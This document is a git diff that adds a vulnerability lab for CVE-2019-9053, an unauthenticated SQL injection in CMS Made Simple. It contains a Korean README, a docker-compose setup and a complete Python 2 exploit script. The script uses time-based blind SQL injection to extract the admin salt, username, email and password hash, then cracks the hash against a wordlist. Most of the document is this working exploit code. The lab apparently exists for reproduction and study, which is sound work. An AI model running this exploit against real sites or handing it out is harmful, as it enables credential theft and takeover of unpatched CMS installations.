diff --git a/cmsms/CVE-2019-9053/1.png b/cmsms/CVE-2019-9053/1.png new file mode 100644 index 00000000..7b78a847 Binary files /dev/null and b/cmsms/CVE-2019-9053/1.png differ diff --git a/cmsms/CVE-2019-9053/2.png b/cmsms/CVE-2019-9053/2.png new file mode 100644 index 00000000..007b704f Binary files /dev/null and b/cmsms/CVE-2019-9053/2.png differ diff --git a/cmsms/CVE-2019-9053/README.md b/cmsms/CVE-2019-9053/README.md new file mode 100644 index 00000000..ce0f66be --- /dev/null +++ b/cmsms/CVE-2019-9053/README.md @@ -0,0 +1,45 @@ +# CMS Made Simple (CMSMS) < 2.2.10 Unauthenticated SQL Injection (CVE-2019-9053) + +> [최빈 (@chlqls)](https://github.com/chlqls) + +
+ +### 요약 + +- **CMS Made Simple (CMSMS)** 는 개발자, 프로그래머 및 사이트 소유자에게 웹 기반 개발 및 관리 영역을 제공하기 위한 무료 오픈 소스 콘텐츠 관리 시스템임 +- 2.2.9.1 이전 버전에서 CMS Made Simple은 인증되지 않은 **SQL Injection 취약점**이 있음 + - 공격자는 관리자의 암호 또는 암호 재설정 토큰을 획득 가능함 +- 더불어 SSTI 이슈([CVE-2021-26120](https://github.com/vulhub/vulhub/tree/master/cmsms/CVE-2021-26120))와 결합되면 공격자가 대상 서버에서 임의의 코드를 실행할 위험 발생 + +
+ +### 환경 구성 및 실행 + +1. `docker compose up -d`를 실행하여 테스트 환경(CMS Made Simple 2.2.9.1)을 실행 + +2. 서버가 시작된 후 `http://your-ip/install.php/`에 접속하여 CMS를 설치 + + - 해당 페이지에서 설치 지침에 따라 CMSMS를 설치 + - [Step 4] MySQL database address는 `db`, database name은 `cmsms`, username과 password는 둘 다 `root` 입력 + + ![](./1.png) + + - [Step 5] Admin 계정 정보는 자유롭게 입력 + + ![](./2.png) + +3. `python2 poc.py -u http://127.0.0.1`를 실행하여 위에서 입력한 **Admin 계정이 출력**되는 것을 확인 + - SQL Injection 취약점을 이용하기 위해 [https://www.exploit-db.com/exploits/46635](https://www.exploit-db.com/exploits/46635)의 스크립트 활용 + +
+ +### 결과 + +![](result.png) + +
+ +### 정리 + +- 이 취약점은 공격자가 데이터베이스에서 Admin 계정의 정보를 얻을 수 있어, 정보 유출 및 비정상적인 동작 유발의 위험이 있다. +- 안전한 데이터 관리를 위해서는 입력값을 정규화하고 필터링하여 입력값을 안전하게 처리해야 한다. diff --git a/cmsms/CVE-2019-9053/docker-compose.yml b/cmsms/CVE-2019-9053/docker-compose.yml new file mode 100644 index 00000000..a8c25dad --- /dev/null +++ b/cmsms/CVE-2019-9053/docker-compose.yml @@ -0,0 +1,13 @@ +version: "2" +services: + web: + image: vulhub/cmsms:2.2.9.1 + ports: + - "80:80" + depends_on: + - db + db: + image: mysql:5.7 + environment: + - MYSQL_ROOT_PASSWORD=root + - MYSQL_DATABASE=cmsms diff --git a/cmsms/CVE-2019-9053/poc.py b/cmsms/CVE-2019-9053/poc.py new file mode 100644 index 00000000..cd35ffc6 --- /dev/null +++ b/cmsms/CVE-2019-9053/poc.py @@ -0,0 +1,186 @@ +#!/usr/bin/env python2 +# Exploit Title: Unauthenticated SQL Injection on CMS Made Simple <= 2.2.9 +# Date: 30-03-2019 +# Exploit Author: Daniele Scanu @ Certimeter Group +# Vendor Homepage: https://www.cmsmadesimple.org/ +# Software Link: https://www.cmsmadesimple.org/downloads/cmsms/ +# Version: <= 2.2.9 +# Tested on: Ubuntu 18.04 LTS +# CVE : CVE-2019-9053 + +import requests +from termcolor import colored +import time +from termcolor import cprint +import optparse +import hashlib + +parser = optparse.OptionParser() +parser.add_option('-u', '--url', action="store", dest="url", help="Base target uri (ex. http://10.10.10.100/cms)") +parser.add_option('-w', '--wordlist', action="store", dest="wordlist", help="Wordlist for crack admin password") +parser.add_option('-c', '--crack', action="store_true", dest="cracking", help="Crack password with wordlist", default=False) + +options, args = parser.parse_args() +if not options.url: + print "[+] Specify an url target" + print "[+] Example usage (no cracking password): exploit.py -u http://target-uri" + print "[+] Example usage (with cracking password): exploit.py -u http://target-uri --crack -w /path-wordlist" + print "[+] Setup the variable TIME with an appropriate time, because this sql injection is a time based." + exit() + +url_vuln = options.url + '/moduleinterface.php?mact=News,m1_,default,0' +session = requests.Session() +dictionary = '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@._-$' +flag = True +password = "" +temp_password = "" +TIME = 1 +db_name = "" +output = "" +email = "" + +salt = '' +wordlist = "" +if options.wordlist: + wordlist += options.wordlist + +def crack_password(): + global password + global output + global wordlist + global salt + dict = open(wordlist) + for line in dict.readlines(): + line = line.replace("\n", "") + beautify_print_try(line) + if hashlib.md5(str(salt) + line).hexdigest() == password: + output += "\n[+] Password cracked: " + line + break + dict.close() + +def beautify_print_try(value): + global output + print "\033c" + cprint(output,'green', attrs=['bold']) + cprint('[*] Try: ' + value, 'red', attrs=['bold']) + +def beautify_print(): + global output + print "\033c" + cprint(output,'green', attrs=['bold']) + +def dump_salt(): + global flag + global salt + global output + ord_salt = "" + ord_salt_temp = "" + while flag: + flag = False + for i in range(0, len(dictionary)): + temp_salt = salt + dictionary[i] + ord_salt_temp = ord_salt + hex(ord(dictionary[i]))[2:] + beautify_print_try(temp_salt) + payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_siteprefs+where+sitepref_value+like+0x" + ord_salt_temp + "25+and+sitepref_name+like+0x736974656d61736b)+--+" + url = url_vuln + "&m1_idlist=" + payload + start_time = time.time() + r = session.get(url) + elapsed_time = time.time() - start_time + if elapsed_time >= TIME: + flag = True + break + if flag: + salt = temp_salt + ord_salt = ord_salt_temp + flag = True + output += '\n[+] Salt for password found: ' + salt + +def dump_password(): + global flag + global password + global output + ord_password = "" + ord_password_temp = "" + while flag: + flag = False + for i in range(0, len(dictionary)): + temp_password = password + dictionary[i] + ord_password_temp = ord_password + hex(ord(dictionary[i]))[2:] + beautify_print_try(temp_password) + payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users" + payload += "+where+password+like+0x" + ord_password_temp + "25+and+user_id+like+0x31)+--+" + url = url_vuln + "&m1_idlist=" + payload + start_time = time.time() + r = session.get(url) + elapsed_time = time.time() - start_time + if elapsed_time >= TIME: + flag = True + break + if flag: + password = temp_password + ord_password = ord_password_temp + flag = True + output += '\n[+] Password found: ' + password + +def dump_username(): + global flag + global db_name + global output + ord_db_name = "" + ord_db_name_temp = "" + while flag: + flag = False + for i in range(0, len(dictionary)): + temp_db_name = db_name + dictionary[i] + ord_db_name_temp = ord_db_name + hex(ord(dictionary[i]))[2:] + beautify_print_try(temp_db_name) + payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+username+like+0x" + ord_db_name_temp + "25+and+user_id+like+0x31)+--+" + url = url_vuln + "&m1_idlist=" + payload + start_time = time.time() + r = session.get(url) + elapsed_time = time.time() - start_time + if elapsed_time >= TIME: + flag = True + break + if flag: + db_name = temp_db_name + ord_db_name = ord_db_name_temp + output += '\n[+] Username found: ' + db_name + flag = True + +def dump_email(): + global flag + global email + global output + ord_email = "" + ord_email_temp = "" + while flag: + flag = False + for i in range(0, len(dictionary)): + temp_email = email + dictionary[i] + ord_email_temp = ord_email + hex(ord(dictionary[i]))[2:] + beautify_print_try(temp_email) + payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+email+like+0x" + ord_email_temp + "25+and+user_id+like+0x31)+--+" + url = url_vuln + "&m1_idlist=" + payload + start_time = time.time() + r = session.get(url) + elapsed_time = time.time() - start_time + if elapsed_time >= TIME: + flag = True + break + if flag: + email = temp_email + ord_email = ord_email_temp + output += '\n[+] Email found: ' + email + flag = True + +dump_salt() +dump_username() +dump_email() +dump_password() + +if options.cracking: + print colored("[*] Now try to crack password") + crack_password() + +beautify_print() \ No newline at end of file diff --git a/cmsms/CVE-2019-9053/result.png b/cmsms/CVE-2019-9053/result.png new file mode 100644 index 00000000..068c46c7 Binary files /dev/null and b/cmsms/CVE-2019-9053/result.png differ